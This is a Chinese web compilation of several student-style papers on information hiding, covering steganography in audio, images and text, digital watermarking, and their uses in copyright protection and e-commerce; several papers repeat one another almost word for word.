隐藏技术论文合集12篇

时间:2023-03-22 17:47:30

隐藏技术论文

隐藏技术论文篇1

信息隐藏的主要目的是让信息透明,将信息嵌入一定的载体中,使得信息无法被第三方识别,就像消失了一样,可以保证信息的安全性。但是信息隐藏技术不但能够将信息隐藏于无形中,还要能将信息恢复,并且恢复后的信息要与隐藏前一致,没有发生任何损失或破坏,保证其信息隐藏前后的完整性。

2、信息隐藏技术的防御攻击性

信息隐藏技术防御攻击的能力一定要很高,因为,网络通信中,信息技术会经常受到有意或无意的攻击,比如删除、非法攻击或篡改等,都会对隐藏的信息造成损害,因此,信息隐藏技术必须具备高的防御能力。此外,网络通信中经常出现信号处理,如调制、有损压缩、滤波等,也会对隐藏的信息造成破坏,所以,为了保障信息的安全,信息隐藏技术一定要拥有更强大的防御攻击的能力。

3、信息隐藏技术的嵌入量大

信息隐藏的目的是为了无法被其他人或电脑发现,为了提高信息隐藏的技术,要将需要隐藏的信息放入一个相对数据量大的载体中,因此,信息隐藏要选择一个信息量大的数据中。此外,还要满足隐藏算法所需要的空间,从而保证信息隐藏的无法识别,保证信息的安全。

4、信息隐藏技术的自我恢复

信息隐藏后一旦需要提取,要能够不需要原始载体信号,便可以从载体中将隐藏的信号提取出来,保证信息的完整。另外,将隐藏的信息提取出来后,要保证信息经过一系列的提取过程后,仍能保证信息的完好无损,有效保证信息的安全性。因此,信息隐藏技术必须要有高度的自我恢复能力。

二、网络通信中信息隐藏的技术途径

1、信息隐藏于音频信号中

将信息隐藏于音频信号中,是将嵌入信息所采用的域为依据,可将语音信息隐藏划分为时域音频隐藏、频域音频隐藏、离散余弦变换域音频隐藏三种。时域音频隐藏技术就是将音频信号的频率、幅度或结果进行处理,然后将其隐藏于音频信号中,是一种简单的隐藏技术。频域音频隐藏技术是将要隐藏的音频文件根据频域的区域进行处理,将需要隐藏的信息以伪噪声的方式嵌于音频信号中,从而达到隐藏的目的,并且很难被识别和发现。离散余弦变化域音频隐藏技术是需要隐藏的信息变换格式,再将变换后的信息嵌于音频信号中,起到深度隐藏的目的。此外,随着网络技术的发展和不断创新,音频信号隐藏还包括小波域隐藏技术和压缩域隐藏技术,效果都很好。

2、信息隐藏于图像信号中

信息隐藏于图像信号中主要有两种方式,一是空间域隐藏技术,就是利用空间替换法,将需要隐藏的信息替换到载体中,并且嵌入不重要的位置,例如将秘密信息嵌入像素点最低的有效位,实现信息的替换,从而保证信息的安全性;二是变换域隐藏技术,就是将需要隐藏的信息转换到变换域范围,变换域是一直在变动的,因此,秘密信息进入变换域后悔进行反复变换,从而使得信息隐匿其中,很难被发现。变换域隐藏技术相比于空间域隐藏技术拥有更好的隐藏效果,并且安全性高、防御攻击力强、自我恢复好,更适合信息的隐藏。

3、信息隐藏于文本信号中

信息隐藏于文本信息中,主要是将信息拆分为极其细碎的结构,然后将每个小部分分别隐藏于文本信息中,从而起到信息隐藏的目的。但是,文本信号需要庞大的数据量才能实现更好的信息隐藏,因此,在实际的应用中,应用率很低。此外,在网络通信中,音频信号隐藏技术和图像信号隐藏技术的隐蔽性远远好于文本信号,所以,文本信号隐藏信息的使用率低;同时,也由于文本信号的防御能力差、自我修复力也差,使得文本信号隐藏信息的安全性降低,不利于信息的隐藏。

隐藏技术论文篇2

 

一、关于信息隐藏

所谓的信息隐藏,是利用媒体信息普遍存在的冗余特性,将秘密信息隐藏在其他媒体信息中,其首要目标就是使加入隐藏信息后的媒体目标的质量下降,尽可能地小,使人无法觉察到隐藏的数据,或者知道它的存在,但未经授权者无法知道它的位置。并不像传统加密过的文件一样,看起来是一堆会激发非法拦截者破解机密资料动机的乱码,而是看起来和其它非机密性的一般资料无异,因而十分容易逃过非法拦截者的破解。其道理如同生物学上的保护色,巧妙地将自己伪装隐藏于环境中,免于被天敌发现而遭受攻击。被人们誉为历史学之父的古希腊历史学家希罗多德(Herodotus, 486―425),在其著作中讲述了这样一则故事:一个名叫Histaieus的人筹划着与他的朋友合伙发起叛乱,里应外合,以便推翻波斯人的统治。他找来一位忠诚的奴隶,剃光其头发并把消息刺在头皮上,等到头发又长起来了,把这人派出去送“信”,最后叛乱成功了。

信息隐藏技术是20世纪90年代中期从国外兴起的一门集多学科理论与技术与一身的新兴技术领域,它涉及感知科学、信息论、密码学等多个学科领域,涵盖信号处理、扩频通信、图像处理等多种专业技术的研究方向。

人的眼睛或耳朵本身对某些信息都有一定的掩蔽效应,利用人的这些特点,可以很好地将信息隐藏而不被察觉。信息隐藏过程一般由密钥来控制,通过嵌入算法将有意义的信息即嵌入对象隐藏于掩护对象中,从而生成隐密载体,隐密载体通过信道传输到接受端。在密钥的控制下采用特定的提取算法从隐藏载体中提取出嵌入对象,利用密钥从中恢复或检测出隐藏的秘密信息,从而使用户获得真实可靠的信息。使非法者不知道这个载体信息中是否隐藏了其它的信息,而且即使知道,也难以提取隐藏的信息,从而实现信息的保密。

据目前已经提出的信息隐藏算法,从它们对载体的修改方式上进行分类,可以分为:时域(空域)替换技术、变换域技术、扩展频谱技术、统计方法等等。

二、信息隐藏的特点

利用不同的媒体进行信息掩藏时有着不同的特点,但是它们都必须具有下列基本特征。

1.隐蔽性。指嵌入信息后在不引起秘密信息质量下降的前提下,不显著改变掩护对象的外部特征,即不引起人们感官上对掩护对象变化的察觉。以使非法拦截者无法判断是否有秘密信息的存在。

2.不可测性。指隐蔽载体与原始载体具有一致的特性,即非法拦截者要检测到秘密信息的存在并提取出来应相当困难,至少在秘密信息的有效期内是不可能的。

3.不可见性。利用人类视觉系统和听觉系统的属性,经过一系列隐藏处理, 使目标资料没有明显的降质现象,而隐藏的资料却无法人为地看见或听见.

4.鲁棒性。指不因图像文件的某种改动而导致隐藏信息丢失的能力。这里所谓“改动”包括传输过程中的隐藏载体对一般的信号处理(如滤波、增强、重采样、有损压缩等)、一般的几何变换(如平移、旋转、缩放、分割等)和恶意攻击等情况,即隐藏载体不会因为这些操作而丢失了隐藏的秘密信息。

5.自恢复性。论文大全。指经过了一些操作和变换后,可能会使隐蔽载体受到较大的破坏,如果只留下部分的数据,在不需要宿主信号的情况下,却仍然能恢复隐藏信息的特征就是所谓的自恢复性。

6.安全性。指隐藏算法有较强的抗攻击能力,即它必须能够承受一定程度的人为攻击,而使隐藏信息不会被破坏。

三、信息隐藏的应用

在信息安全领域中,信息隐藏技术的应用可归结为下列几个方面。

1.数字知识产权保护

知识产权保护是信息隐藏技术中数字水印技术和数字指纹技术所力图解决的重要问题,信息隐藏技术的绝大部分研究成果都是在这一应用领域中取得的。随着网络和数字技术的快速普及,通过网络向人们提供的数字服务也会越来越多,如数字图书馆、数字图书出版、数字电视、数字新闻等。这些服务提供的都是数字产品,数字产品具有易修改、易复制、易窃取的特点,因此,当前的数字知识产权保护就已经成为迫切需要解决的实际问题。

信息隐藏技术应用于版权保护时,所嵌入的签字信号通常被称作“数字水印”,数字水印技术可以成为解决此难题的一种方案。现在越来越多的视频信号、音频信号和数字图像中被贴上了不可见的标签,用以防止非法拷贝和数据跟踪。服务提供商在向用户发送产品的同时,将双方的信息代码以水印的形式隐藏在作品中,这种水印从理论上讲应该是不被破坏的。论文大全。当发现数字产品在非法传播时,可以通过提取出的水印代码追查非法散播者。其主要特点是版权保护所需嵌入的数据量小,对签字信号的安全性和鲁棒性要求很高。

2.数据完整性鉴定

使用数字水印技术有一定的缺陷,用于数字水印技术保护的媒体一旦被篡改水印就会被破坏,从而很容易被识别。在数字票据中隐藏的水印经过打印后仍然存在,可以通过再扫描回数字形式,提取防伪水印,以证实票据的真实性。数据完整性鉴定是指对某一信号的真伪或完整性的判别,并需要进一步指出该信号与原始真实信号的差别,以确认资料在网上传输或存储过程中并没有被篡改、破坏或丢失。假定接收到一个如音频、视频或图像等多媒体信号,并初步判断它很可能是某一原始真实信号的修改版本,数据篡改验证的任务就是在对原始信号的具体内容不可知的情况下,以最大的可能判断是否是真实的。首先,要充分利用数据库管理系统提供的数据完整性的约束机制和各种输入数据的引用完整性约束设计,以便保证数据完整、准确的输入和储存。其次,在数据传输过程中可视情况选用相应的数据校验方式对传输数据进行校验检查。

3.数据保密

在网络上传输秘密数据要防止非法用户的截获和使用,这是网络安全的一个重要内容,随着信息技术的发展以及经济的全球化,这一点不仅涉及政治、军事领域,还将涉及到商业、金融机密和个人隐私。信息隐藏技术为网上交流的信息采取了有效的保护,比如电子政务中敏感信息、电子商务中的秘密协议和合同、网上银行交易的重要数据、重要文件的数字签名以及个人隐私等,还可以对一些不愿为别人所知道的内容使用信息隐藏方式进行隐藏储存,从而使数据得到保密,保证了信息的安全性。论文大全。

4.资料不可抵赖性的确认

在网上交易中,交易双方的任何一方不能抵赖自己曾经做出的行为,也不能否认曾经接收到对方的信息,这是交易系统中一个重要环节。这可以使用信息隐藏技术,在交易体系的任何一方发送和接收信息时,将各自的特征标记形式加入到传递的信息中,这些标记应是不能被去除的,从而达到确认其行为的目的。

结论

总之,信息隐藏技术是多媒体通信和多媒体信号处理领域中近年来新兴的研究方向,它为信息安全提供了一种新的思路,为我们研究信息安全提供了一个新的方向.

目前国际上先进的信息隐藏技术已能做到隐藏的信息可以经受人的感觉检测和仪器的检测,并能抵抗一些人为的攻击。但总的来说,信息隐藏技术尚没有发展到可实用的阶段,使用密码加密仍是网络信息传输的主要安全手段。虽然目前对信息隐藏的研究有了很大的进展,在信息安全中起到了重要的作用,但存在大量的实际问题亟待解决,如信息隐藏的容量问题,如何建立不可感知性的数学度量模型,信息隐藏的容量上界如何计算等;信息隐藏的对立面――隐藏分析如何得到同步发展;如何对信息隐藏进行分析和分类;如何找到信息隐藏技术自己的理论依据,形成完善和科学的理论体系等等。

信息隐藏是一项崭新的技术领域,也是多媒体技术、网络技术研究的前沿,应用前景十分广阔,必将吸引广大图像、语音、网络、人工智能等领域的研究者加入到这一行列,从而推动信息安全技术更快的发展。

参考文献:

[1] 张作林,陈建华.基于区域的信息隐藏技术[J].福建电脑,2005,3.

[2] 张书真.信息安全中的信息隐藏技术[J].电脑知识与技术.2005,18.

[3] 陈 波,谭运猛,吴世忠.信息隐藏技术综述[J].计算机与数字工程.2005,2.

[4] 左伟明,秦姣华.信息隐藏技术研究[J].湖南城市学院学报.2005,3.

隐藏技术论文篇3

通常人们认为对信息加密就可以保证通讯的安全,但是在网络传输中仅仅使用加密技术通常是不够的。现代密码学开发出来的加解密系统不管是对称密钥系统(如DES),还是安全性更高的公开密钥系统(RSA),经过加密算法处理所生成的密文具有随机性、不可读,反而明确提示了保密信息的存在,因而很容易引起监控者的注意,并以此为依据进行对密文的破译或对发送者和接收者的攻击。采用加密技术的另一个潜在缺点是随着计算机硬件的迅速发展,具有并行计算能力的破解技术的日益成熟,仅通过增加密钥长度来达到增强安全性已不再是唯一的可行方法。因此,近年来国际上出现了信息隐藏技术,它是一种不同于密码术的技术,它在电子商务中安全体系中必将起到重要作用。

一、信息隐藏技术的含义与方法

信息隐藏技术(Information Hiding),也称作数据隐藏(Data Hiding),它是集多学科理论与技术于一身的新兴技术领域。信息隐藏技术主要是指将特定的信息嵌入数字化宿主信息(如文本、数字化的声音、图像、视频信号等)中,它的目的不在于限制正常的信息存取和访问,而在于保证隐藏的信息不引起监控者的注意和重视,从而减少被攻击的可能性,在此基础上再使用密码术来加强隐藏信息的安全性,因此信息隐藏比信息加密更为安全。应该注意到,密码术和信息隐藏技术不是互相矛盾、互相竞争的技术,而是相互补充的技术,他们的区别在于应用的场合不同,对算法的要求不同,但可能在实际应用中需要互相配合。特定的信息一般就是保密信息,信息隐藏的历史可以追溯到古老的隐写术,但推动了信息隐藏的理论和技术研究始于1996年在剑桥大学召开的国际第一届信息隐藏研究会,之后国际机构在信息隐藏领域中的隐写术、数字水印、版权标识、可视密码学等方面取得大量成果。

信息隐藏是一个十分活跃的研究领域,虽然其载体可以是文字、图像、语音或视频等不同格式的文件,但使用的方法没有本质的区别。因此,下面将以信息隐藏技术在图像中的应用即遮掩消息选用数字图像的情况为例进行说明。

在图像中应用的信息隐藏技术基本上可分为两大类:时域法或频域法。时域法就是直接改变图像元素的值,一般是在图像的亮度或色带中加入隐藏的内容。这种方法比较有代表性的是最不重要比特位(the Least Significant Bits,LSB)方法,该方法也是最早被应用的信息隐藏方法。遮掩消息的LSB直接被待隐消息的比特位或两者之间经过某种逻辑运算的结果所代替。LSB算法的主要优点是可以实现高容量和较好的不可见性。但是该算法容易被第三方发现并得到,遭到破坏,而对图像的各种操作如压缩、剪切等,都会使算法的可靠性受到影响。为了增强算法的性能,提出了各种改进的方法,如利用伪序列,以“随机”的顺序修改图像的叠像技术(LSM);在使用密钥的情况下,才能得到正确的嵌入序列等。频域法是利用某种数学变换,将图像用频域表示,通过更改图像的某些频域系数加入待隐信息,然后再利用反变换来生成隐藏有其他信息的图像。各种不同的数学变换都可以被使用,目前已有的方法主要集中在小波变换、频率变换、DCT(低频分量)变换等。

二、信息隐藏技术在电子商务中的应用

目前信息隐藏技术在电子商务中的应用主要体现在以下几个方面:

1.数据保密

在具体电子商务活动中,数据在Internet上进行传输一定要防止非授权用户截获并使用,如敏感信息、谈判双方的秘密协议和合同、网上银行交易中的敏感数据信息、重要文件的数字签名和个人隐私等等。另外,还可以对一些不愿为别人所知道的内容使用信息隐藏的方式进行隐藏存储。

2.数据的不可抵赖性

在网上交易中,交易双方的任何一方不能抵赖自己曾经做出的行为,也不能否认曾经接收到的对方的信息,这是交易系统中的一个重要环节。这可以使用信息隐藏技术中的水印技术,在交易体系的任何一方发送或接收信息时,将各自的特征标记以水印的形式加入到传递的信息中,这咱水印应是不能被去除的,可达到确认其行为的目的。

3.防伪

商务活动中的各种票据的防伪也是信息隐藏技术的用武之地。在数字票据中隐藏的水印经过打印后仍然存在,可以通过再扫描回数字形式,提取防伪水印,以证实票据的真实性。

4.数据的完整性

隐藏技术论文篇4

通常人们认为对信息加密就可以保证通讯的安全,但是在网络传输中仅仅使用加密技术通常是不够的。现代密码学开发出来的加解密系统不管是对称密钥系统(如DES),还是安全性更高的公开密钥系统(RSA),经过加密算法处理所生成的密文具有随机性、不可读,反而明确提示了保密信息的存在,因而很容易引起监控者的注意,并以此为依据进行对密文的破译或对发送者和接收者的攻击。采用加密技术的另一个潜在缺点是随着计算机硬件的迅速发展,具有并行计算能力的破解技术的日益成熟,仅通过增加密钥长度来达到增强安全性已不再是唯一的可行方法。因此,近年来国际上出现了信息隐藏技术,它是一种不同于密码术的技术,它在电子商务中安全体系中必将起到重要作用。

一、信息隐藏技术的含义与方法

信息隐藏技术(InformationHiding),也称作数据隐藏(DataHiding),它是集多学科理论与技术于一身的新兴技术领域。信息隐藏技术主要是指将特定的信息嵌入数字化宿主信息(如文本、数字化的声音、图像、视频信号等)中,它的目的不在于限制正常的信息存取和访问,而在于保证隐藏的信息不引起监控者的注意和重视,从而减少被攻击的可能性,在此基础上再使用密码术来加强隐藏信息的安全性,因此信息隐藏比信息加密更为安全。应该注意到,密码术和信息隐藏技术不是互相矛盾、互相竞争的技术,而是相互补充的技术,他们的区别在于应用的场合不同,对算法的要求不同,但可能在实际应用中需要互相配合。特定的信息一般就是保密信息,信息隐藏的历史可以追溯到古老的隐写术,但推动了信息隐藏的理论和技术研究始于1996年在剑桥大学召开的国际第一届信息隐藏研究会,之后国际机构在信息隐藏领域中的隐写术、数字水印、版权标识、可视密码学等方面取得大量成果。

信息隐藏是一个十分活跃的研究领域,虽然其载体可以是文字、图像、语音或视频等不同格式的文件,但使用的方法没有本质的区别。因此,下面将以信息隐藏技术在图像中的应用即遮掩消息选用数字图像的情况为例进行说明。

在图像中应用的信息隐藏技术基本上可分为两大类:时域法或频域法。时域法就是直接改变图像元素的值,一般是在图像的亮度或色带中加入隐藏的内容。这种方法比较有代表性的是最不重要比特位(theLeastSignificantBits,LSB)方法,该方法也是最早被应用的信息隐藏方法。遮掩消息的LSB直接被待隐消息的比特位或两者之间经过某种逻辑运算的结果所代替。LSB算法的主要优点是可以实现高容量和较好的不可见性。但是该算法容易被第三方发现并得到,遭到破坏,而对图像的各种操作如压缩、剪切等,都会使算法的可靠性受到影响。为了增强算法的性能,提出了各种改进的方法,如利用伪序列,以“随机”的顺序修改图像的叠像技术(LSM);在使用密钥的情况下,才能得到正确的嵌入序列等。频域法是利用某种数学变换,将图像用频域表示,通过更改图像的某些频域系数加入待隐信息,然后再利用反变换来生成隐藏有其他信息的图像。各种不同的数学变换都可以被使用,目前已有的方法主要集中在小波变换、频率变换、DCT(低频分量)变换等。

二、信息隐藏技术在电子商务中的应用

目前信息隐藏技术在电子商务中的应用主要体现在以下几个方面:

1.数据保密

在具体电子商务活动中,数据在Internet上进行传输一定要防止非授权用户截获并使用,如敏感信息、谈判双方的秘密协议和合同、网上银行交易中的敏感数据信息、重要文件的数字签名和个人隐私等等。另外,还可以对一些不愿为别人所知道的内容使用信息隐藏的方式进行隐藏存储。

2.数据的不可抵赖性

在网上交易中,交易双方的任何一方不能抵赖自己曾经做出的行为,也不能否认曾经接收到的对方的信息,这是交易系统中的一个重要环节。这可以使用信息隐藏技术中的水印技术,在交易体系的任何一方发送或接收信息时,将各自的特征标记以水印的形式加入到传递的信息中,这咱水印应是不能被去除的,可达到确认其行为的目的。

3.防伪

商务活动中的各种票据的防伪也是信息隐藏技术的用武之地。在数字票据中隐藏的水印经过打印后仍然存在,可以通过再扫描回数字形式,提取防伪水印,以证实票据的真实性。

4.数据的完整性

隐藏技术论文篇5

中图分类号:TN918.6

当今社会已经进入到了一体化的网络时代,网络成为最重要的传媒手段,各种信息都通过网络进行传播,包括个人信息、军事信息、私密信息等,如何在这种开放的环境中,最大程度保证信息的安全,是当下网络技术的热点话题。但是随着信息技术的发展,计算机处理信息的能力也有所增强,传统的秘钥不再能保证信息的绝对安全,因此数据的隐藏技术成为了热点,也是保护信息的重要手段。

1 信息隐藏技术概述

1.1 信息隐藏技术基本内涵。信息隐藏技术主要是将秘密信息隐藏在普通的文件中,并通过数字化的信号进行处理,这样通过对于用户的视觉冗余来进行隐藏,最大程度保证信息的安全性。隐藏后的信息会使媒体的搜索目标变小,甚至无法发现,这样秘密的信息和文件便可以通过这种形式来保护信息。信息隐藏技术目前应用比较广广泛,主要包括以下内容。首先是隐藏术,主要内容是进行秘密形式的通信,并且将信息藏匿与其他的普通信息中,信息隐藏主要是以第三方信息保护的形式,便于将信息传输到目的客户端。第二是数字水印,可以是作者的序列号、公司的标识等,主要是能证明被保护的信息或者文件可以被证明以及查询侵权的一种途径。第三是数据嵌入。在不同形式的信息中,技术模式吸取了隐藏术与水印的优势,并通过嵌入的方式对于秘密信息进行保护。第四是指纹与标签,是水印的一种特殊用途,水印的每个特定的信息可以进行信息的拷贝。

1.2 信息隐藏技术的特点。信息隐藏技术与传统的信息加密不同,基本目的并不是限制文件资料的提取与保存,而是将数据信息隐藏最小化。除此之外,信息隐藏技术还要充分考虑到信息在通过多种程序处理之后,仍然具备可以运行操作的性质,不会被破坏基础属性,因此信息隐藏技术需要具备以下特点。

(1)隐蔽性。信息隐藏的首要特性便是隐蔽性,主要指的是信息在嵌入之后,最大程度避免信息质量的改变,同时也能掩饰信息的基本特征,在传输过程中不会引起察觉,在视觉方面可以很好保护信息不被发现,保证原始信息的一致性。例如拥有相同的统计分布,这样变会混淆拦截者的信息判断能力,保证信息的安全;(2)安全性。隐藏技术需要具备较强的安全性能,可以有效避免黑客的侵袭与共计,最大程度保护隐藏信息的安全;(3)恢复性。被保护的信息会经过多重程序进行处理与改变,因此特性上会发生一定改变,如果原始信息受到了破坏,那么隐藏技术需要通过保存下来的信息来恢复原来的文件,这样保证传输的信息准确性。

2 信息隐藏的技术方法

2.1 替换技术。人的感官系统对于一些细小的变化比较敏感,因此替换技术的核心就在于改变这些被保护文件中秘密的细节部分,并不被非法用户注意。这种形式并不会影响被保护信息的性质,而且可以对于被保护信息进行编码程序,当前应用比较广泛的替换技术包括最低比例的一换技术、随机的替换技术、特定区域替换技术等等。

2.2 变换技术。绝大多数的信息隐藏技术都是通过正交变换域来实现的,由此可见变换技术核心是通过扩频技术和密码学原理,将被保护的信息嵌入到普通信息的变换域中,同时利用算法来进行信息的提取,转换为隐蔽的形式。这种变换技术充分利用了人体感官对于空间频率差异的敏感程度,进而改变被保护信息的性质,确保信息不被察觉。

2.3 扩频技术。被保护信息在进行隐藏的过程中,有可能会导致信息的破坏,甚至信息的消除,因此为了保护信息的原始特性,可以利用重复编码的形式来进行扩频。在被保护的信息中插入一个参数,确保信息在处理后仍然可以进行扩频,通常选择高速率的随机码来进行发送,而且这种信息数据自身的信号也可以完成扩展。

3 信息隐藏技术的应用

3.1 数字水印技术的应用。数字水印技术是信息隐藏技术最重要的一种形式,主要是通过在多媒体中插入不可感知的信息,因而实现对于信息的保护以及对于操作的记录、跟踪。

(1)版权保护。在数字水印技术的应用中,版权保护是最重要的内容,主要是将重要的版权信息嵌入到图像、音频、文本中,目的是进行区分、标识以及解释版权。在一些逐步实现数字化的行业,例如数字图书馆、数字新闻等,很多信息容易受到篡改,知识产权保护能力比较差,因此通过信息隐藏技术中的水印技术,既可以最大程度保持作品的原始性,又难以被非法用户进行篡改,通过特殊标识的嵌入,可以是数字、文字、图标,与原始文件的结合,不会严重破坏数据的功能,还能具备一定的商用价值。这种水印通常情况下是不可见的,特别是在涉及知识产权纠纷中,可以通过特定秘钥提取出水印,进而实现保护自主知识产权的目的;(2)指纹识别。通过数字水印技术可以在文件中标注出授权的单位以及特殊名称,通过文件的原始性保证在特殊处理之后以及用户的接受、存储之后,文件特性不会发生改变。因此如果在被保护文件通过隐藏技术传输之后,便可以标注的信息追踪到文件的相关责任人,这样对于调查、规则也有据可循。这种指纹识别的技术实质是一种跟踪功能,特别是在数字产品的应用中,版权人可以将不同用户的序列号进行处理,嵌入到这些合法的拷贝中,这样在出售合法的拷贝的时候,可以与嵌入的信息相对照,如果是非法的、未经授权的拷贝产品,版权人便可以通过指纹来追踪,进而找寻到泄密者。

3.2 隐藏通信技术的应用。隐藏通信技术主要是将被保护的秘密的信息、文件隐匿于某些普通的公开文件中,进而保证在传输过程中秘密信息的安全性。以隐藏载体形式的不同,可以划分为文本的隐藏、语音的隐藏和视频的隐藏等。在实践中主要应用于数据的保密,例如在电子商务中时常会涉及到一些重要的信息,如商业机密、秘密协议、金融交易等,这些重要的数据信息一旦泄露可能会为个人或者企业带来损失,因此防止非法用户中途拦截这些数据,便可以采用隐藏通信技术,将信息以隐藏的形式进行传输,有效避免非法用户的拦截,最大程度保证信息安全。

4 结束语

信息隐藏技术方式多样,应用灵活,在未来的信息保护中将会得到广泛应用,但是这种技术手段目前还在发展阶段,在理论体系方面还在不断趋于成熟与完善,特别是在现实应用中还有待于进一步优化,存在的问题亟待解决。例如数字水印模型的构建、抗攻击性的提升等等,在算法上也在逐步完善。信息隐藏技术作为一把双刃剑,在应用方面也要利用特征优势,更好地为当下的信息传输做贡献。

参考文献:

[1]戴跃伟.信息隐藏技术的理论及应用研究[D].南京理工大学,2012.

[2]刘洁.信息隐藏技术及应用[J].现代情报,2011.

[3]尹兰.基于文本的信息隐藏技术的研究[D].贵州大学,2007.

[4]高真.密文图像中的可逆信息隐藏算法研究[D].重庆大学,2013.

[5]特列克别克・米沙.一种新的信息隐藏算法的设计研究[D].电子科技大学,2013.

隐藏技术论文篇6

 

一、关于信息隐藏

所谓的信息隐藏,是利用媒体信息普遍存在的冗余特性,将秘密信息隐藏在其他媒体信息中,其首要目标就是使加入隐藏信息后的媒体目标的质量下降,尽可能地小,使人无法觉察到隐藏的数据,或者知道它的存在,但未经授权者无法知道它的位置。并不像传统加密过的文件一样,看起来是一堆会激发非法拦截者破解机密资料动机的乱码,而是看起来和其它非机密性的一般资料无异,因而十分容易逃过非法拦截者的破解。其道理如同生物学上的保护色,巧妙地将自己伪装隐藏于环境中,免于被天敌发现而遭受攻击。被人们誉为历史学之父的古希腊历史学家希罗多德(Herodotus, 486—425),在其著作中讲述了这样一则故事:一个名叫Histaieus的人筹划着与他的朋友合伙发起叛乱,里应外合,以便推翻波斯人的统治。他找来一位忠诚的奴隶,剃光其头发并把消息刺在头皮上,等到头发又长起来了,把这人派出去送“信”,最后叛乱成功了。

信息隐藏技术是20世纪90年代中期从国外兴起的一门集多学科理论与技术与一身的新兴技术领域,它涉及感知科学、信息论、密码学等多个学科领域,涵盖信号处理、扩频通信、图像处理等多种专业技术的研究方向。

人的眼睛或耳朵本身对某些信息都有一定的掩蔽效应,利用人的这些特点,可以很好地将信息隐藏而不被察觉。信息隐藏过程一般由密钥来控制,通过嵌入算法将有意义的信息即嵌入对象隐藏于掩护对象中,从而生成隐密载体,隐密载体通过信道传输到接受端。在密钥的控制下采用特定的提取算法从隐藏载体中提取出嵌入对象,利用密钥从中恢复或检测出隐藏的秘密信息,从而使用户获得真实可靠的信息。使非法者不知道这个载体信息中是否隐藏了其它的信息,而且即使知道,也难以提取隐藏的信息,从而实现信息的保密。

据目前已经提出的信息隐藏算法,从它们对载体的修改方式上进行分类,可以分为:时域(空域)替换技术、变换域技术、扩展频谱技术、统计方法等等。

二、信息隐藏的特点

利用不同的媒体进行信息掩藏时有着不同的特点,但是它们都必须具有下列基本特征。

1.隐蔽性。指嵌入信息后在不引起秘密信息质量下降的前提下,不显著改变掩护对象的外部特征,即不引起人们感官上对掩护对象变化的察觉。以使非法拦截者无法判断是否有秘密信息的存在。

2.不可测性。指隐蔽载体与原始载体具有一致的特性,即非法拦截者要检测到秘密信息的存在并提取出来应相当困难,至少在秘密信息的有效期内是不可能的。

3.不可见性。利用人类视觉系统和听觉系统的属性,经过一系列隐藏处理, 使目标资料没有明显的降质现象,而隐藏的资料却无法人为地看见或听见.

4.鲁棒性。指不因图像文件的某种改动而导致隐藏信息丢失的能力。这里所谓“改动”包括传输过程中的隐藏载体对一般的信号处理(如滤波、增强、重采样、有损压缩等)、一般的几何变换(如平移、旋转、缩放、分割等)和恶意攻击等情况,即隐藏载体不会因为这些操作而丢失了隐藏的秘密信息。

5.自恢复性。指经过了一些操作和变换后,可能会使隐蔽载体受到较大的破坏,如果只留下部分的数据,在不需要宿主信号的情况下,却仍然能恢复隐藏信息的特征就是所谓的自恢复性。

6.安全性。指隐藏算法有较强的抗攻击能力,即它必须能够承受一定程度的人为攻击,而使隐藏信息不会被破坏。

三、信息隐藏的应用

在信息安全领域中,信息隐藏技术的应用可归结为下列几个方面。

1.数字知识产权保护

知识产权保护是信息隐藏技术中数字水印技术和数字指纹技术所力图解决的重要问题,信息隐藏技术的绝大部分研究成果都是在这一应用领域中取得的。随着网络和数字技术的快速普及,通过网络向人们提供的数字服务也会越来越多,如数字图书馆、数字图书出版、数字电视、数字新闻等。这些服务提供的都是数字产品,数字产品具有易修改、易复制、易窃取的特点,因此,当前的数字知识产权保护就已经成为迫切需要解决的实际问题。

信息隐藏技术应用于版权保护时,所嵌入的签字信号通常被称作“数字水印”,数字水印技术可以成为解决此难题的一种方案。现在越来越多的视频信号、音频信号和数字图像中被贴上了不可见的标签,用以防止非法拷贝和数据跟踪。服务提供商在向用户发送产品的同时,将双方的信息代码以水印的形式隐藏在作品中,这种水印从理论上讲应该是不被破坏的。当发现数字产品在非法传播时,可以通过提取出的水印代码追查非法散播者。其主要特点是版权保护所需嵌入的数据量小,对签字信号的安全性和鲁棒性要求很高。

2.数据完整性鉴定

使用数字水印技术有一定的缺陷,用于数字水印技术保护的媒体一旦被篡改水印就会被破坏,从而很容易被识别。在数字票据中隐藏的水印经过打印后仍然存在,可以通过再扫描回数字形式,提取防伪水印,以证实票据的真实性。数据完整性鉴定是指对某一信号的真伪或完整性的判别,并需要进一步指出该信号与原始真实信号的差别,以确认资料在网上传输或存储过程中并没有被篡改、破坏或丢失。假定接收到一个如音频、视频或图像等多媒体信号,并初步判断它很可能是某一原始真实信号的修改版本,数据篡改验证的任务就是在对原始信号的具体内容不可知的情况下,以最大的可能判断是否是真实的。首先,要充分利用数据库管理系统提供的数据完整性的约束机制和各种输入数据的引用完整性约束设计,以便保证数据完整、准确的输入和储存。其次,在数据传输过程中可视情况选用相应的数据校验方式对传输数据进行校验检查。

3.数据保密

在网络上传输秘密数据要防止非法用户的截获和使用,这是网络安全的一个重要内容,随着信息技术的发展以及经济的全球化,这一点不仅涉及政治、军事领域,还将涉及到商业、金融机密和个人隐私。信息隐藏技术为网上交流的信息采取了有效的保护,比如电子政务中敏感信息、电子商务中的秘密协议和合同、网上银行交易的重要数据、重要文件的数字签名以及个人隐私等,还可以对一些不愿为别人所知道的内容使用信息隐藏方式进行隐藏储存,从而使数据得到保密,保证了信息的安全性。

4.资料不可抵赖性的确认

在网上交易中,交易双方的任何一方不能抵赖自己曾经做出的行为,也不能否认曾经接收到对方的信息,这是交易系统中一个重要环节。这可以使用信息隐藏技术,在交易体系的任何一方发送和接收信息时,将各自的特征标记形式加入到传递的信息中,这些标记应是不能被去除的,从而达到确认其行为的目的。

结论

总之,信息隐藏技术是多媒体通信和多媒体信号处理领域中近年来新兴的研究方向,它为信息安全提供了一种新的思路,为我们研究信息安全提供了一个新的方向.

目前国际上先进的信息隐藏技术已能做到隐藏的信息可以经受人的感觉检测和仪器的检测,并能抵抗一些人为的攻击。但总的来说,信息隐藏技术尚没有发展到可实用的阶段,使用密码加密仍是网络信息传输的主要安全手段。虽然目前对信息隐藏的研究有了很大的进展,在信息安全中起到了重要的作用,但存在大量的实际问题亟待解决,如信息隐藏的容量问题,如何建立不可感知性的数学度量模型,信息隐藏的容量上界如何计算等;信息隐藏的对立面——隐藏分析如何得到同步发展;如何对信息隐藏进行分析和分类;如何找到信息隐藏技术自己的理论依据,形成完善和科学的理论体系等等。

